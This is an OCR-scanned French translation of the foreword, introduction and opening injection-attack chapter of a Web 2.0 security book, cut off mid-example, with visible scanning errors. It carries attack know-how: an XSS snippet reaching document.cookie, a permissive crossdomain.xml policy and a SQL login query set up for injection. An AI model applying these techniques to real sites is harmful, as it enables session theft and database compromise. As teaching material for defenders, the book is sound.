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Avant-propos 



De temps en temps, on me rappelle cette malediction chinoise, apparemment insulte 
ultime destinee aux ennemis mortels : "Puissiez-vous vivre en des temps interessants." 

Ce a quoi je ne puis que repondre "C'est bel et bien le cas !". 

Cher lecteur, quelque chose a change recemment. Nous avons assiste a une transition 
aussi rapide qu'efficace. Voici encore quelques annees, le Web se cantonnait au role 
d'outil discret delivrant principalement des contenus statiques et produits ailleurs a qui 
les reclamait. Ce n'est plus le cas. Dans notre monde, cette meme technologic de 
I'ancienne ecole vehicule desormais des interfaces utilisateur dynamiques, complexes, 
tres reactives - proposant notamment des fonctionnalites jadis reservees aux logiciels 
de bureau. 

Cette evolution du Web est aussi passionnante qu'effrayante. Aux cotes des progres 
incontestables realises sur le front des fonctionnalites offertes, se deroule une classique 
course aux armements entre ceux qui ecrivent le code et ceux qui tentent de le casser. 

Ne vous y trompez pas : il s'agit d'une lutte qui n'a rien de romantique ou poetique ; 
elle n'oppose pas chapeaux noirs et chapeaux blancs, bien contre mal. II s'agit d'une 
tension bien plus prosai'que : celle des compromis entre facilite d'usage et securite. Jour 
apres jour, les specialistes du domaine doivent prendre tour a tour parti pour I'un ou 
r autre camp, sans que cet effort futile ne semble devoir finir, ni des solutions faciles se 
dessiner. 

D'autre part. . . on me rappelle aussi que se plaindre ne fait guere progresser les choses. 
Ce ne sont la que les dangers - et les nouvelles possibilites - crees par la volonte de 
repousser les frontieres d'une technologic aussi vieillie qu' indispensable, sans doute 
magnifiquement peu adaptee au niveau de sophistication que nous cherchons desormais 
a atteindre, mais qui n'en facilite pas moins tout ce qui est utile, sympa et tape-a-l'oeil. 

Une certitude : un livre exhaustif traitant de la securite des applications web contempo- 
raines manquait cruellement, et pour faire a nouveau vibrer ma corde sensible fataliste, 
il est possible que nous ayons depasse le point de non-retour et qu'un sinistre generalise 
soit devenu ineluctable. 

Plus troublant encore que ce defaitisme : il n'existe aucune synthese dont un nouvel 
arrivant puisse s'impregner pour memoriser et mettre en pratique la multitude de petites 
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connaissances eparses qui se rapportent au sujet - pour se maintenir ensuite a flot, dans 
un paysage en constante evolution. Dans un ciiaos global et oppressant, quelques 
specialisations emergent, d'AJAX aux applications Flash, du modele objet de document 
(DOM) au decodage des jeux de caracteres - mais il est trop tard et elles sont trop peu 
nombreuses. 

Peut-on encore rattraper la situation ? Le Web est une maitresse capricieuse, bien diffi- 
cile a dompter. Cet ouvrage ne tente pas de vous conforter a tort dans I'opinion inverse, 
pas plus qu'il ne propose de conseils aussi simplistes que douteux. II vous oriente 
simplement sur le long chemin menant a la maitrise d'un sujet etonnamment complexe, 
en vous aidant a organiser les informations pratiques et detaillees glances en cours de 
route. 

La revolution du Web pretendu 2.0 accouchera-t-elle comme promis d'un monde 
meilleur, ou bien - comme ses detracteurs le predisent - deviendra-t-elle bientot folic, 
incontrolable, degenerant en un cauchemar tant pour la securite que pour la confidenti- 
alite de la sphere privee, dans un paysage jonche d'epaves de logiciels incompatibles et 
casses ? Je n'en sais rien et me refuse a speculer inutilement. II n'en demeure pas moins 
qu'il vaut mieux se donner un maximum de chances en prenant toutes les precautions 
possibles. 
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Qui aurait pu imaginer que la publicite, la musique et le logiciel vus comme un service 
participeraient a remettre I'lnternet au gout du jour ? De I'eclatement de la buUe des 
dot.com a la reussite du programme Google Ads, de la decadence de Napster au retour 
d' Apple avec iTunes et de I'effondrement du marche des foumisseurs de services appli- 
catifs (ASP ou Application Service Provider) a I'explosion des solutions logicielles 
hebergees (ou logiciel vu comme un service), le Web 2.0 rappelle etrangement le 
Web 1.0. Cependant, cette nouvelle plate-forme recouvre pour les consommateurs tout 
un ensemble de technologies et de solutions enrichissant I'ergonomie et I'interactivite 
de ce media'. 

On doit ce regain de popularite d'Intemet a des organisations ameliorant ce qui existe 
depuis longtemps, d'une maniere plus attrayante aux yeux des utilisateurs finaux. Les 
technologies du Web 2.0 n'y sont certes pas etrangeres, ouvrant aux applications bien 
plus de possibilites que la simple transmission de HTML statique. 

Dans toute technologic nouvelle ou emergente, les considerations de securite, quand 
elles sont prises en compte, ne le sont generalement qu'a la fin. Les editeurs luttent pied 
a pied pour sortir les premiers telle ou telle fonctionnalite revolutionnaire afin de rester 
competitifs ; les prerequis de securite, garde-fous et autres protections n'integrent done 
que rarement le cycle de vie du developpement logiciel. Par consequent, les consomma- 
teurs re9oivent des technologies aussi epoustouflantes que presentant des trous de secu- 
rite. Cette observation n'est pas propre au Web 2.0 ; elle vaut notamment pour la voix 
sur IP ou le stockage iSCSL Cet ouvrage se penche sur les problemes de securite poses 
par le Web 2.0, du point de vue de I'attaque et de la penetration. On y evoquera les attaques 
contre les applications, protocoles et implementations du Web 2.0, tout en presentant 
des methodes permettant de s'en proteger. 

Cet ouvrage vise a faire prendre conscience des dangers, illustrer des attaques et propo- 
ser des solutions aux risques de securite poses par le Web 2.0. Dans cette introduction, 
nous couvrirons certaines banalites du fonctionnement du Web 2.0, afin de nous assurer 
que les chapitres suivants seront clairs pour tous. 



1. N.D.T. : Les anglophones parlent de user experience ou "experience utilisateur" 
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Qu'est-ce que le Web 2.0 ? 

Le terme Web 2.0, mot a la mode lance par I'industrie, revient frequemment. On 
I'emploie souvent pour qualifier de nouvelles technologies ou comparer des produits ou 
services nes sous I'ere precedente du Web pour survivre a la mutation vecue par ce 
media. Dans le cadre de ce livre, cette expression recouvrira les nouvelles technologies 
du Web permettant d'en rendre les applications plus interactives ; on peut citer Google 
Maps ou Live.com. AJAX {Asynchronous JavaScript and XML pour XML JavaScript 
synchrone ), les feuilles de style en cascade (CSS, pour Cascading Style Sheets), Flash, 
XML, I'utilisation avancee des codes JavaScript existants, .Net et ActiveX sont des 
technologies appartenant toutes a la famille du Web 2.0. Certaines, comme ActiveX et 
Flash ont beau exister depuis longtemps deja, les grands acteurs du Web commencent a 
peine a en prendre toute la mesure et a les integrer au sein meme de leurs sites web, au 
lieu de les y cantonner au role superficiel d'effets speciaux visuels. 

D' autre part, le Web 2.0 sous-tend aussi un changement dans les comportements : les 
utilisateurs sont desormais encourages a personnaliser leurs propres donnees dans 
les applications web au lieu de se contenter de visualiser les contenus statiques ou gene- 
riques proposes par un site. YouTube.com, MySpace.com et les blogs representent 
ainsi I'ere du Web 2.0, leurs applications reposent sur des contenus fournis par les utili- 
sateurs. Toute nouvelle technologic apparait souvent au detriment des questions de 
securite, ecartees, oubliees ou simplement marginalisees. Malheureusement, de nombreuses 
technologies du Web 2.0 ne font pas exception a cette regie. Pour compliquer davantage 
les choses, il devient tres difficile d'appliquer des regies de base comme "ne jamais 
faire confiance a aucune donnee foumie par I'utilisateur" quand ces saisies animent 
I'ensemble d'une application web, du HTML aux objets Flash. 

Dans le Web 2.0, ces changements de technologic et de comportement sont encore 
accompagnes d'une transition du logiciel vendu sous film plastique aux services logi- 
ciels. Aux premiers instants du Web, 1' usage consistait a en rapatrier des logiciels 
executes sur le serveur ou poste de travail local ; cela concernait aussi bien des applica- 
tions de gestion de la relation client (CRM pour Customer Relationship Management) 
que des programmes de messagerie instantanee {chat). Cependant, cette pratique est 
rapidement devenue un cauchemar pour les editeurs concernes, contraints de jongler 
avec les versions et correctifs {patches) afin de couvrir un pare toujours plus varie de 
serveurs pour lesquels on proposait des centaines d' applications maison. 

C'est alors que des organisations comme Google ou Salesforce.com ont commence a 
proposer du logiciel sous forme de services : en d'autres termes, rien n'est installe ni 
maintenu par I'utilisateur ou son service informatique. Les personnes physiques ou 
morales se contentent de s'inscrire au service et d'y acceder a travers un navigateur 
web, pour employer en ligne des programmes de CRM ou de messagerie instantanee. 
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La gestion du serveur, les mises a jour et correctifs du systeme sont alors directement 
assumes par I'editeur du logiciel. II suffit des lors a ce dernier de proposer ses produits 
sur une interface en ligne. Cette mode a revolutionne le modele client/serveur, oil le 
navigateur web represente desormais le client d'une riche application web hebergee sur 
un serveur dans un centre de calculs. Le succes de cette nouvelle technique fut ecrasant, 
car elle permet de reduire les soucis de programmation, maintenance et tout ce qui 
releve des applicatifs en externalisant ces derniers chez leurs editeurs. 

Les editeurs traditionnels, remarquant peu a peu les avantages conferes par cette appro- 
che, ont emboite le pas et egalement offert leurs applications client/serveur classiques 
en ligne - signalons notamment la solution CRM Oracle/Siebel. Le Web 1 .0 proposait 
deja des services logiciels ; on parlait alors de fournisseurs de services applicatifs (ASP, 
pom Application Service Provider). Ces derniers, apres un echec cuisant dans le monde 
du Web 1.0, partagent avec la publicite et la musique un beau succes sur le Web 2.0. 
Pour les informations d'une societe que deviennent done les consequences d'une faille de 
securite d'un service logiciel heberge ? Un concurrent peut-il exploiter ce trou et obtenir 
des informations lui procurant un avantage ? Toutes les donnees etant desormais centrali- 
sees (sur les serveurs hebergeant I'application web de I'editeur), un souci de securite 
avec le programme est-il susceptible de sonner le glas pour tous ses utilisateurs ? 

Le Web 2.0 se distingue encore par ses pages de mash-ups (applications composites 
associant divers elements) et de plug-ins (ou greffons). De nombreuses applications 
permettent ainsi aux utilisateurs de choisir des contenus issus de nombreuses sources. 
Un flux RSS issu d'un fournisseur accompagnera le greffon de meteorologie d'un autre 
editeur. Tout en etant extrait de nombreuses origines distinctes, le contenu est heberge 
sur une autre source encore, telle qu'une page d'accueil Google ou une application 
CRM personnalisee disposant de flux issus des differentes portions de I'organisation. 
Ces documents dotent les utilisateurs d'un controle significatif sur ce qui apparait a 
I'ecran. Dans ce nouvel environnement melant RSS et greffons, le modele de securite 
de I'application se complique. Au temps du Web 1.0, un site comme CNN.com avait 
I'entierement responsabilite de tous les contenus publics et de leur securite. Les flux 
RSS et autres greffons se multipliant, comment les societes Google et Microsoft 
peuvent-elles desormais proteger leurs utilisateurs de flux mal intentionnes ou de plug- 
ins hostiles ? Ces questions expliquent tout le defi pose par la securisation de pages 
web 2.0 comptant des centaines de sources, tant pour les editeurs de logiciels que pour 
leurs utilisateurs finaux. 

Ranfon du succes des expressions a la mode, on abuse souvent du terme "Web 2.0" 
pour designer des notions differentes selon le contexte. Dans le cadre de cet ouvrage, 
nous nous restreindrons aux frameworks d'applications, aux protocoles et environnements 
de developpements apportes a I'lnternet par le Web 2.0. 
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Impact du Web 2.0 sur la securite 

Le perimetre de securite des technologies du Web 2.0 reprend celui du Web 1.0, 
complete par une extension a de nouveaux frameworks. Le Web 2.0 se contente done 
d'allonger la longue liste des dangers susceptibles d'apparaitre sur des applications 
web. L' injection de donnees arbitraires dans un site web (XSS pour Cross-Site Scrip- 
ting) representait un danger important des applications du Web 1.0. Dans la deuxieme 
generation de ce media, les possibilites d' attaques XSS sont etendues avec la nouvelle 
zone exposee par AJAX. Dans les applications AJAX du Web 2.0, il est ainsi devenu 
possible d'inserer des attaques XSS dans des flux JavaScript, XML ou JSON. Voici un 
exemple de tableau JavaScript representant les donnees en cours de rapatriement 
{downstream) depuis 1' Internet : 

var downstreamArray = new Array(); 
downstreamArray [ 0] - " document. cookie " ; 

On remarquera I'absence de la balise <script> ; seule la valeur document . cookie, 
mise en gras, est employee, etant donne que le code se trouve deja dans un tableau 
JavaScript. 

Aux cotes de XSS, les attaques par injection sur le Web 2.0 ciblent egalement SQL et 
LDAP {Lightweight Directory Access Protocol, norme pour les systemes d'annuaires), 
en incorporant desormais des tableaux XPath/XQuery, XML, JSON et JavaScript. Les 
attaques qui fonctionnent en forgeant des requetes sur d'autres sites (CSRF pour Cross- 
Site Request Forgery) existent toujours sur le Web 2.0, aggravees par le CSRF bi-direc- 
tionnel (detoumement de JavaScript). D'autre part, les limitations de securite incohe- 
rentes imposees a XMLHttpRequest (XHR) pourront exposer des applications Web 2.0 
vulnerables a CSRF a un comportement de type ver, avec propagation d'une faille de 
securite, alors qu'une application du Web 1.0 ne serait en ce cas sujette qu'a une simple 
attaque en un clic. Ainsi, de nombreuses applications du Web 2.0 integrant des interac- 
tions entre utilisateurs, toute erreur de type XSS y apparaissant est d'autant plus suscep- 
tible d'y etre transmise d'un compte a I'autre. Le ver Samy ayant cible MySpace.com 
illustre clairement cette possibilite de propagation. Nous I'evoquerons au Chapitre 5 et 
dans la premiere etude de cas presentee ici. 

En sus de la propagation de vers, les attaques entre domaines constituent une 
nouvelle source de dangers. Files permettent aux agresseurs de transmettre des 
contenus web infectes a I'insu des utilisateurs et sans leur autorisation. Certes, XHR 
permet de s'opposer particulierement a toute interaction entre domaines, mais 
certaines technologies du Web 2.0 presentent une certaine souplesse - au grand dam 
des programmeurs. Flash active ainsi des restrictions XHR, mais propose une 
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methode activant une fonctionnalite entre plusieurs domaines. Le code suivant illustre un 
exemple de cette souplesse issu de crossdomain . xml : 

<cross- domain- policy > 

<allow-access-f rom domain="www.cybermechants.Gom" /> 
</cross-domain-policy> 

En complement du nom de domaine, on peut employer un caractere joker, tel que 
domain="* ". (De nombreux developpeurs web contournent les controles de securite de 
XHR pour incorporer des fonctionnalites inter-domaines a leurs applications web.) Ces 
possibilites deviennent tres preoccupantes lorsque des attaques CSRF sont apparentes. 
On I'a deja signale, cette technique peut contraindre un utilisateur a realiser a son insu 
et sans sa permission, certaines actions. Les fonctionnalites entre domaines etant acti- 
vees, les attaques CSRF permettront a un attaquant ou hamegonneur (phishers) d'impo- 
ser des actions entre domaines d'un seul clic. Selectionner tel billet de blog pouiTa ainsi 
reduire votre compte en banque de dix mille euros. . . 

Le Web 2.0 permet encore de decouvrir et d'enumerer les surfaces de frappe bien plus 
facilement que dans le cadre d'une application du Web 1.0. Ainsi, les applications du 
Web 2.0 emploient souvent des frameworks AJAX, ou Ton trouve de nombreuses infor- 
mations relatives a leur fonctionnement. Ces renseignements sont souvent rapatries sur 
le navigateur de 1' utilisateur a travers un fichier d' extension . j s. II est alors facile pour 
I'attaquant d'enumerer les points faibles potentiels. Toutefois, cette facilite exploratoire 
sera parfois compensee par une complexe manipulation des appels a 1' application. A la 
difference du Web 1.0, oil dans les formulaires des champs masques renfermaient 
souvent des parametres de type GET et POST, certains frameworks du Web 2.0 imposent 
I'emploi d'un serveur mandataire (proxy) pour capturer les contenus, enumerer les 
champs potentiellement interessants pour une injection, que Ton soumettra ensuite au 
serveur. En resume, si elles ne sont pas toujours aussi directes a exploiter, les surfaces 
exposees sont souvent plus etendues que dans le Web 1 .0. 

Le logiciel, vu comme un service, n'est pas tant une technologic qu'une mode du 
Web 2.0, mais il en a considerablement malmene la securite. A la difference des appli- 
cations maison hebergees dans la salle des serveurs de I'organisation concernee, les 
solutions logicielles hebergees posent d'enormes problemes de securite. Une faille XSS 
dans une application CRM maison permettra simplement a un employe mal intentionne 
d'acceder a la fiche de son coUegue ; dans le cas d'une application CRM hebergee, le 
meme trou de securite est susceptible de fournir a une organisation les strategies d'un 
concurrent. La question n'est evidemment pas limitee au cas des logiciels de CRM ; 
elle se pose pour toute donnee sensible : informations confidentielles ou regulees, 
comme les dossiers medicaux ou autres donnees personnelles et non publiques. Les 
solutions hebergees rassemblent des donnees de tous types issues de tous profils de 
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consommateurs, aussi la securite de leurs applications represente-t-elle un enjeu sans 
commune mesure avec celle des logiciels maison, auxquels seuls les salaries ont acces. 
En somme, le Web 2.0 pose de nombreux problemes de securite. Les frontieres separant 
les donnees creees par I'organisation et les donnees fournies par I'utilisateur s'estom- 
pent, les solutions hebergees stockent des contenus issus de centaines d'organisations, 
accessibles a travers la meme interface web, de meme que les developpeurs deploient 
de nouvelles technologies sans en comprendre toutes les implications. Tous ces aspects 
mettent a mal la securite dans les environnements en ligne. 

Tour d'horizon 

Ce manuel se penche sur la securite des applications du Web 2.0. Comme deja signale, 
de nombreuses attaques du Web 1.0 restent d'actualite. Nous verrons comment et pour- 
quoi et, notamment, la maniere par laquelle d'anciennes attaques (comme XSS) revien- 
nent dans les applications et technologies du Web 2.0. Nous evoquerons non seulement 
r adaptation de vieilles attaques a une nouvelle technologic, mais aussi comment des 
technologies plus anciennes encore sont employees de maniere plus consequente sur le 
Web. ActiveX et Flash ne datent pas d'hier, mais les applications du Web 2.0 y recou- 
rent de plus en plus frequemment. Enfin, nous evoquerons de nouveaux types d' atta- 
ques, comme les attaques entre domaines. EUes augmentent considerablement la 
surface de frappe car les utilisateurs finaux peuvent desormais etre attaques sur un 
domaine en en visitant un autre. 

Organisation de I'ouvrage 

Pour s'assurer de traiter autant de sujets relatifs au Web 2.0 que possible, ce manuel est 
divise en quatre parties, incorporant chacune une etude de cas. Cette derniere met en 
pratique les connaissances abordees dans les chapitres. 

Premiere partie 

L'ouvrage debute avec les attaques par injection. Nous commencerons par les plus 
anciennes (injections SQL) en evoquant de nouveaux problemes d'injection poses par 
le Web 2.0, attaques XPath et XXE {XML eXternal Entity ou entite externe XML). Ces 
dernieres tentent d'exploiter un document et des flux RSS dans des applications web, 
theme recun^ent dans le Web 2.0. Le deuxieme chapitre se penche sur I'injection de 
donnees arbitraires dans un site web (XSS), technique elle aussi ancienne, et qui a 
evolue dans le Web 2.0. Nous y verrons comment reprendre et adapter un type d'atta- 
que XSS existant pour I'appliquer aux technologies du Web 2.0 comme AJAX et 
Flash. Nous evoquerons encore leur emploi dans le contexte des appareils nomades - en 
effet, de nombreuses applications populaires du Web disposent de versions mobiles. 
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Celles-ci presentent generalement les memes fonctionnalites, en moins securise. Certes 
destinees aux appareils nomades, ces versions restent accessibles a des navigateurs 
classiques comme Internet Explorer (IE) et Firefox. La premiere partie se conclut par la 
premiere etude de cas, une revue detaillee du ver Samy. Pionnier des vers ciblant les 
applications web, il s'est developpe si rapidement sur MySpace.com qu'il a fallu fermer 
totalement le site le temps de Ten expurger. 

Deuxieme partie 

L'ouvrage continue avec la "nouvelle generation d'attaques contre les applications 
web", a savoir les nouveaux types d'attaques apparus avec les applications du Web 2.0. 
Le Chapitre 3 ouvre le bal avec les attaques inter-domaines. Comme deja mentionne, 
les sites web activant ces fonctionnalites sont vulnerables aux vers et virus se propa- 
geant automatiquement. Ce chapitre montre comment cela est devenu possible a travers 
des failles de securite classiques impliquant AJAX et CSRF, type d'attaques relative- 
ment recent et frappant aussi bien les applications du Web 1.0 que du Web 2.0. Le 
Chapitre 4 expose les manieres de detoumer JavaScript, en mentionnant des applica- 
tions du Web 2.0 employant AJAX mais aussi des applications du Web 1.0 reposant sur 
de puissantes fonctions JavaScript. Ce chapitre montre que toutes les qualites rendant 
AJAX et JavaScript agreables aux developpeurs (agilite, souplesse et puissance des 
fonctions) font qu'elles sont egalement appreciees par les attaquants. On y verra 
comment I'emploi de code JavaScript/ AJAX mal intentionne permet de compromettre 
des comptes d'utilisateurs ou des applications web, ou encore provoquer un desordre 
general sur I'lnternet. Les sujets cles du chapitre incluent les outils communs pour 
manipuler JavaScript et I'utilisation de code AJAX malicieux. Le Chapitre 5 est consa- 
cre a la securite de .Net. Les environnements de developpement ASP.Net sont tres 
frequents sur les applications web modernes. Le framework .Net propose certes des 
protections contre de nombreux types d'attaques, mais il y subsiste toutefois une grande 
surface de frappe. Nous y verrons les attaques ciblant les applications activant .Net, 
ainsi que les boucliers proposes par ce framework. La deuxieme partie prend fin avec 
une etude de cas traitant des attaques entre domaines. On y detaillera un exemple reel 
oil un utilisateur transfere a son insu une grande quantite d' argent depuis un compte 
bancaire en ligne, en lisant simplement sur le Web un article d'actualite. Cet exemple 
souligne I'importance cruciale et potentielle des problemes de securite poses par les 
attaques entre domaines. 

Troisieme partie 

Nous passerons ensuite a AJAX. La plupart des applications du Web 2.0 impliquant 
AJAX, deux chapitres suffisent a peine a introduire la question. Le Chapitre 6 presente 
d'abord les differents types d' applications et methodes AJAX permettant de realiser une 
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decouverte par enumeration. Lorsque Ton cible des applications AJAX, il faut explorer 
les failles d'une autre maniere que dans le cas du Web 1.0. Nous veiTons done a la fois 
comment proceder dans le cas AJAX, ainsi que les interactions reseau induites. D'autre 
part, les applications AJAX employant souvent un framework AJAX, nous proposons 
un tour d'horizon de ces derniers. Le Chapitre 7 poursuit la question en detaillant 
chaque framework et ses failles de securite. Leur nombre est si grand qu'il a fallu se 
concentrer sur les plus populaires pour en aborder les details et en presenter les points 
forts, tout comme les faiblesses. Ainsi, certains frameworks AJAX integrent une protec- 
tion contre les attaques CSRF, tandis que d'autres laissent les developpeurs s'acquitter 
de cette tache. L' etude de cas de la troisieme partie concerne une migration vers le 
Web 2.0. On y evoque un a un les risques auxquels une application s'expose lorsqu'elle 
est portee vers un framework du Web 2.0. Plus particulierement, on y soulignera des 
failles frequentes frappant les methodes internes, les fonctionnalites de debogage, les 
URL cachees et une migration de I'ensemble des fonctionnalites. 

Quatrieme partie 

La derniere partie de I'ouvrage s'interesse aux clients lourds, en commen9ant par la 
securite d' ActiveX. Ses failles de securite, ses fonctions puissantes, son ouverture aux 
autres utilisateurs et la grande confiance que lui accordent les premieres versions d' Internet 
Explorer expliquent pourquoi ce terme a longtemps represents un juron chez les profes- 
sionnels de la question. ActiveX, qui n'est en aucun cas une nouvelle technologic, apparait 
malgre tout souvent dans les applications du Web 2.0. Ainsi, nombreuses sont celles qui 
proposent davantage de fonctionnalites a leurs utilisateurs a travers un modele client/ 
serveur. Dans le cas du Web 2.0, un controle ActiveX assure le client, tandis que le 
serveur est 1' application web a proprement parler. Les utilisateurs beneficient d'autres 
fonctionnalites en disposant sur leur bureau d'un client Win32 capable d'interagir avec 
les applications web - mais cela les expose davantage a des failles de securite. Meme 
s'il n'emploie pas ActiveX, le bureau Google {Google desktop) illustre bien la maniere 
dont les applications du Web 2.0 travaillent de concert avec des clients Win32. 

Le Chapitre 9 traite de la securite Flash. A I'instar d'ActiveX, cette technologic date et 
rencontre, elle aussi, un succes croissant sur le Web. Des sites web tels que 
YouTube.com ont prouve de quelle maniere on pouvait employer Flash pour depasser le 
design web sympa con9u par un etudiant en infographie. Flash a montre que les appli- 
cations web peuvent tres facilement remplacer les textes statiques par des contenus 
enrichis et YouTube.com, comme les publicitaires en ligne, ont saute dans ce train. 
Comme toujours, I'emploi de contenus dynamiques et riches pose des problemes de 
securite toujours plus complexes et difficiles a resoudre. Ce chapitre introduit le modele 
de securite de Flash. Pour conclure, la derniere etude de cas s'interesse aux change- 
ments de securite d'Internet Explorer 7. C'est une maniere interessante de terminer, car 
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la securite des navigateurs influe beaucoup sur celle des applications web. En 1' absence 
d'un modele de securite du navigateur, on rend possibles des attaques communes contre 
les applications web, tout en ouvrant un boulevard aux phishers (hame9onneurs) et 
autres escrocs souhaitant exploiter les hypotheses de confiance integrees a IE et a Fire- 
fox. Marc Andreessen et I'equipe de Netscape avaient beaucoup de travail en 1993, 
aussi ne leur tiendra-t-on pas trop rigueur de la maniere dont les decisions en matiere de 
securite de navigateur prises a I'epoque nous font toujours souffrir bien des annees plus 
tard. Bien des choses ont change sur I'lntemet, mais le "modele de securite du naviga- 
teur" - ou plutot son absence - a peu evolue. IE 7 represente la volonte affichee par 
Microsoft de changer cette tendance dans les annees a venir. 

Methodologie 

Cet ouvrage est construit autour des attaques et contre-mesures evoquees dans chacun 
de ses chapitres. EUes sont signalees par une icone : 

Icone d'attaque 

Icone de contre-mesure 

Cette mise en valeur facilite I'identification d'outils et de methodologies propres aux 
tests de penetration, et renverra directement sur les informations necessaires pour 
convaincre vos superieurs de financer vos nouvelles initiatives en matiere de securite. 

Chaque attaque est egalement accompagnee d'une evaluation des risques, qui apparait 
sous la forme d'un tableau : 
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Popularite : 


Frequence d'emploi dans la realite, contre des cibles veritables. 
La note 1 represente une attaque rare ; 10 signale les agressions les 
plus frequentes. 


Simplicite : 


Degre de competence necessaire pour executer 1' attaque. 

La note 10 signifie que presque tout le monde en est capable ; 

1 la reserve au specialiste experimente de securite. 


Impact ^^^^^^^^^ 


Dommage potentiel en cas de reussite de F attaque. Le chiffre 1 
represente la divulgation de quelques informations sans 
importance portant sur la cible ; la note maximale signifie une 
compromission de Faeces super-utilisateur ou equivalent. 


Evaluation du risque : 


Moyenne arrondie a Fentier le plus proche des trois valeurs 
precedentes ; ce score final resume done ces trois parametres. 
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Autres supports visuels 

Nous employons frequemment des encadres pour souligner tous ces petits details 
souvent negliges : 

— 4 Info 

Encadre presentant une information 



0 ASTUCE 

Encadre presentant une astuce 



— ^ Attention 

Encadre mettant en garde 

Ressources et outils disponibles en ligne 

Les ressources en ligne qui suivent vous aideront peut-etre a approfondir les informations 
presentees dans cet ouvrage : 

■ www.isecpartners.com/tools.html ; 

■ www.isecpartners.com/HackingExposedWeb20.html. 

Un dernier mot 

L' expression Web 2.0 est souvent utilisee a tort ; cette mode recouvre cependant de 
nouvelles technologies. Le Web 2.0 est un ensemble de nombreuses technologies exis- 
tantes, nouvelles ou emergentes, qui permettent de faire fonctionner certains sites web 
et d'en rendre d'autres plus interessants. Malheureusement, sur le Web, les mots 
nouveaux, emergent ou interessant sous-entendent souvent une impasse sur la securite 
(au benefice de fonctionnalites plus nombreuses ou de meilleures performances - cette 
discussion est la marotte de tout specialiste en securite). En lisant cet ouvrage, souve- 
nez-vous que les auteurs ont tente de se focaliser avant tout sur les nouvelles technolo- 
gies employees sur le Web. Certaines, comme AJAX, relevent du Web 2.0 ; d'autres, 
comme ActiveX, sont plus anciennes. Quoi qu'il en soit, nous avons tente d'evoquer de 
nombreuses technologies de la prochaine generation du Web pour permettre aux 
lecteurs de comprendre les nouvelles classes d'attaques associees, ainsi que la maniere 
dont des agressions plus anciennes peuvent etre adaptees aux contenus du Web 2.0. 
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1 Attaques par injection les plus communes 

2 Injection de donnees arbitraires dans un site web 
(XSS ou Cross-Site Scripting) 
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Attaques par injection 
les plus communes 

Les attaques par injection precedent de beaucoup le Web 2.0 et elles y pullulent encore. 
Pour couvrir correctement le propos de cet ouvrage, il convient d'evoquer certaines des 
plus anciennes (injection SQL ou de commandes) aux cotes de techniques plus modemes, 
comme 1' injection de XPath. 

Fonctionnement des attaques par injection 

Cette famille d' agressions repose sur un unique probleme partage par de nombreuses 
technologies de maniere persistante : il n'existe aucune separation stricte entre les 
instructions d'un programme et les donnees qu'y saisit un utilisateur. Par consequent, la 
ou le developpeur n'attendait que d'inoffensives donnees, des attaquants peuvent insi- 
dieusement placer des instructions enjoignant au programme de realiser des actions de 
leur choix. 

Pour realiser une attaque par injection, il faut reussir a placer, dans des saisies classiques, 
des donnees interpretees comme des instructions. Le succes de 1' operation repose sur 
trois elements : 

■ Identifier la technologic sur laquelle repose 1' application web. Les attaques par 
injection dependent beaucoup du langage de programmation ou du materiel impli- 
ques. Pour cela, on peut explorer la situation ou se contenter de tester les attaques 
par injection les plus communes. On peut deviner quelles technologies sont mises 
en oeuvre en inspectant les pieds de page, les textes en cas d'erreur, le code source 
HTML, et employer des outils comme Nessus, Nmap, THC-Amap ou d'autres 
encore. 
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■ Etablir la liste de toutes les saisies utilisateur possibles. Dans certains cas (formulaires 
HTML), elles seront evidentes. Toutefois, il existe bien d'autres manieres d'interagir 
avec une application web : manipuler des saisies cachees dans les formulaires, 
modifier certains en-tetes HTTP (comme les cookies), voire des requetes AJAX 
(Asynchronous JavaScript and XML) fonctionnant de maniere invisible en arriere- 
plan. A peu pres toutes les donnees intervenant dans les requetes HTTP GET et POST 
peuvent etre considerees comme des saisies utilisateur. Le recours a un mandataire 
(proxy) web tel que WebScarab, Paros ou Burp pourra aider a reperer toutes les 
saisies utilisateur dans une application web. 

■ Trouver la saisie utilisateur vulnerable. Cela peut sembler difficile, mais les pages 
d'erreur des applications trahissent parfois bien des secrets en la matiere. 

Rien de tel qu'un exemple pour exposer les attaques par injection. L'injection SQL ci- 
apres illustre bien le sujet, tandis que les cas de figure qui la suivent detaillent la situation 
en presence de tel ou tel langage ou materiel precis. 



Injection SQL 



Popularite : 8 


Simplicite : 8 


Impact : 


9 


Evaluation du risque : 


9 



Le spectre des possibilites ouvertes par l'injection SQL est vaste : contoumement de 
I'authentification ou prise de controle complete des bases de donnees sur un serveur 
distant. 

SQL, le langage de requetes structure (Structured Query Language), standard de fait 
pour r acces aux bases de donnees, sous-tend desormais la plupart des applications web 
necessitant le stockage de donnees persistantes ; il est done probable qu'il anime aussi 
vos sites preferes. A I'instar de celle de bien de langages, la syntaxe de SQL mele 
instructions de bases de donnees et saisies utilisateur. Si le developpeur n'y prend 
garde, ces dernieres pourront etre interpretees comme des instructions et donner a un 
attaquant distant la possibilite de realiser les operations de son choix sur la base de 
donnees. 

Imaginons ainsi une application web simple imposant une authentification. Un ecran de 
connexion y demandera un identifiant et le mot de passe associe, transmis par I'utilisa- 
teur a travers une requete HTTP, suite a quoi le programme les confrontera a la liste des 
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identifiants et mots de passe acceptables - il s'agit en general d'une table placee dans 
une base de donnees SQL. 

Un developpeur pourra creer cette liste a I'aide de I'instruction SQL suivante' : 

CREATE TABLE user_table ( 
id INTEGER PRIMARY KEY, 
username VARCHAR(32), 
password VARCHAR(41) 

); 

Ce code SQL produit une table de trois champs. Le premier (id) stocke un numero 
d'identifiant^ referen^ant un utilisateur authentifie dans la base de donnees. Le 
deuxieme (username) precise son identifiant, arbitrairement limite a 32 caracteres au 
plus. Quant au dernier, password, il renfermera un hachage (hash) du mot de passe 
correspondant, car c'est une mauvaise idee de stocker ce genre d' informations en clair. 

La fonction SQL PASSWORD () realise cette operation. Sous MySQL, elle produit un 
resultat de 41 cai^acteres. 

Pour authentifier un utilisateur, il suffit simplement de comparer les valeurs transmises 
a chacun des enregistrements de cette table. Si I'un con^espond aux deux a la fois, 
I'operation est reussie et le systeme salt quel numero d'identifiant attribuer au candidat. 
Supposons que I'utilisateur ait propose I'identifiant MorduDeTechnol 5 et le mot de 
passe monMotDePasse . On trouvera I'identifiant comme suit : 

SELECT id FROM user_table WHERE username= ' MorduDeTechnol 5 ' AND 
password=PASSWORD( ' monMotDePasse ' ) 

Si un tel utilisateur existe dans cette table de la base de donnees, cette commande SQL 
renverra le numero d'identifiant associe. Dans le cas contraire, elle restera muette, 
signifiant par la que I'operation a echoue. 

II semble done aise d'automatiser cette procedure. Prenons I'extrait de code Java que 
